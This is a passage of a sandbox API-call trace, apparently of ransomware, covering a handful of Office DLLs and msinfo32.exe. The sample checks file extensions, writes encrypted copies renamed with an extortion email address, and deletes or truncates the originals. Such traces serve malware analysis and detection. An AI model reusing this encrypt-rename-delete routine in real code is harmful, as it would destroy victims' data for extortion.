shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.426] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=378880) returned 1 [0058.426] CloseHandle (hObject=0x238) returned 1 [0058.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0058.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.426] lstrlenW (lpString=".doc") returned 4 [0058.426] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.426] lstrlenW (lpString=".docx") returned 5 [0058.426] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0058.426] lstrlenW (lpString=".pdf") returned 4 [0058.426] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.426] lstrlenW (lpString=".xls") returned 4 [0058.426] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.426] lstrlenW (lpString=".xlsx") returned 5 [0058.426] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0058.427] lstrlenW (lpString=".ppt") returned 4 [0058.427] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.427] lstrlenW (lpString=".zip") returned 4 [0058.427] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.427] lstrlenW (lpString=".rar") returned 4 [0058.427] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.427] lstrlenW (lpString=".bz2") returned 4 [0058.427] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.427] lstrlenW (lpString=".7z") returned 3 [0058.427] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.427] lstrlenW (lpString=".dbf") returned 4 [0058.427] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.427] lstrlenW (lpString=".1cd") returned 4 [0058.427] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.427] lstrlenW (lpString=".jpg") returned 4 [0058.427] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.427] lstrlenW (lpString=".doc") returned 4 [0058.427] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.427] lstrlenW (lpString=".docx") returned 5 [0058.427] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0058.427] lstrlenW (lpString=".pdf") returned 4 [0058.427] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.427] lstrlenW (lpString=".xls") returned 4 [0058.427] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.427] lstrlenW (lpString=".xlsx") returned 5 [0058.427] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0058.436] lstrlenW (lpString=".ppt") returned 4 [0058.436] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.436] lstrlenW (lpString=".zip") returned 4 [0058.436] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.436] lstrlenW (lpString=".rar") returned 4 [0058.436] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.436] lstrlenW (lpString=".bz2") returned 4 [0058.469] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.469] lstrlenW (lpString=".7z") returned 3 [0058.469] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.469] lstrlenW (lpString=".dbf") returned 4 [0058.469] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.469] lstrlenW (lpString=".1cd") returned 4 [0058.469] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.469] lstrlenW (lpString=".jpg") returned 4 [0058.469] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.469] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.469] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0058.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.470] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=154448) returned 1 [0058.470] CloseHandle (hObject=0x238) returned 1 [0058.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0058.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.470] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.470] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0058.471] GetLastError () returned 0x0 [0058.471] ReadFile (in: hFile=0x238, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x25b50, lpOverlapped=0x0) returned 1 [0058.474] WriteFile (in: hFile=0x23c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0058.477] ReadFile (in: hFile=0x238, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.477] WriteFile (in: hFile=0x23c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.477] SetEndOfFile (hFile=0x23c) returned 1 [0058.478] CloseHandle (hObject=0x23c) returned 1 [0058.478] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.478] SetEndOfFile (hFile=0x238) returned 1 [0058.479] CloseHandle (hObject=0x238) returned 1 [0058.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.482] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0058.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.482] lstrlenW (lpString=".doc") returned 4 [0058.482] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.482] lstrlenW (lpString=".docx") returned 5 [0058.482] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.482] lstrlenW (lpString=".pdf") returned 4 [0058.482] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.482] lstrlenW (lpString=".xls") returned 4 [0058.482] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.482] lstrlenW (lpString=".xlsx") returned 5 [0058.482] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.482] lstrlenW (lpString=".ppt") returned 4 [0058.482] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.482] lstrlenW (lpString=".zip") returned 4 [0058.482] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.482] lstrlenW (lpString=".rar") returned 4 [0058.482] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.482] lstrlenW (lpString=".bz2") returned 4 [0058.482] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.482] lstrlenW (lpString=".7z") returned 3 [0058.482] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.482] lstrlenW (lpString=".dbf") returned 4 [0058.482] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString=".1cd") returned 4 [0058.483] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString=".jpg") returned 4 [0058.483] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString=".doc") returned 4 [0058.483] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString=".docx") returned 5 [0058.483] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.483] lstrlenW (lpString=".pdf") returned 4 [0058.483] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString=".xls") returned 4 [0058.483] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString=".xlsx") returned 5 [0058.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.483] lstrlenW (lpString=".ppt") returned 4 [0058.483] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString=".zip") returned 4 [0058.483] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString=".rar") returned 4 [0058.483] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.483] lstrlenW (lpString=".bz2") returned 4 [0058.483] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.483] lstrlenW (lpString=".7z") returned 3 [0058.483] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString=".dbf") returned 4 [0058.483] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.483] lstrlenW (lpString=".1cd") returned 4 [0058.483] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.484] lstrlenW (lpString=".jpg") returned 4 [0058.484] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.484] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.484] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0058.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.485] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2528128) returned 1 [0058.485] CloseHandle (hObject=0x238) returned 1 [0058.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0058.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0058.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.486] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.486] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.486] ReadFile (in: hFile=0x238, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.488] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.489] ReadFile (in: hFile=0x238, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.498] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.498] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.498] ReadFile (in: hFile=0x238, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.512] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.513] WriteFile (in: hFile=0x238, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0058.695] SetEndOfFile (hFile=0x238) returned 1 [0058.925] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f818a0 [0058.939] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.939] WriteFile (in: hFile=0x238, lpBuffer=0x3f818a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f818a0*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.941] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.941] WriteFile (in: hFile=0x238, lpBuffer=0x3f818a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f818a0*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.946] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.946] WriteFile (in: hFile=0x238, lpBuffer=0x3f818a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f818a0*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.949] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f818a0 | out: hHeap=0x4b0000) returned 1 [0058.949] CloseHandle (hObject=0x238) returned 1 [0058.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.949] lstrlenW (lpString=".doc") returned 4 [0058.949] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.949] lstrlenW (lpString=".docx") returned 5 [0058.949] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.949] lstrlenW (lpString=".pdf") returned 4 [0058.949] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.949] lstrlenW (lpString=".xls") returned 4 [0058.949] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.949] lstrlenW (lpString=".xlsx") returned 5 [0058.949] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.949] lstrlenW (lpString=".ppt") returned 4 [0058.949] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString=".zip") returned 4 [0058.950] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString=".rar") returned 4 [0058.950] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString=".bz2") returned 4 [0058.950] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.950] lstrlenW (lpString=".7z") returned 3 [0058.950] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString=".dbf") returned 4 [0058.950] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString=".1cd") returned 4 [0058.950] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString=".jpg") returned 4 [0058.950] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString=".doc") returned 4 [0058.950] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString=".docx") returned 5 [0058.950] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.950] lstrlenW (lpString=".pdf") returned 4 [0058.950] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString=".xls") returned 4 [0058.950] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString=".xlsx") returned 5 [0058.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.950] lstrlenW (lpString=".ppt") returned 4 [0058.950] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.950] lstrlenW (lpString=".zip") returned 4 [0058.950] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.951] lstrlenW (lpString=".rar") returned 4 [0058.951] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.951] lstrlenW (lpString=".bz2") returned 4 [0058.951] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.951] lstrlenW (lpString=".7z") returned 3 [0058.951] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.951] lstrlenW (lpString=".dbf") returned 4 [0058.951] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.951] lstrlenW (lpString=".1cd") returned 4 [0058.951] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.951] lstrlenW (lpString=".jpg") returned 4 [0058.951] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.951] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.951] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0058.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.555] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11656) returned 1 [0059.555] CloseHandle (hObject=0x180) returned 1 [0059.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0059.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.556] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) 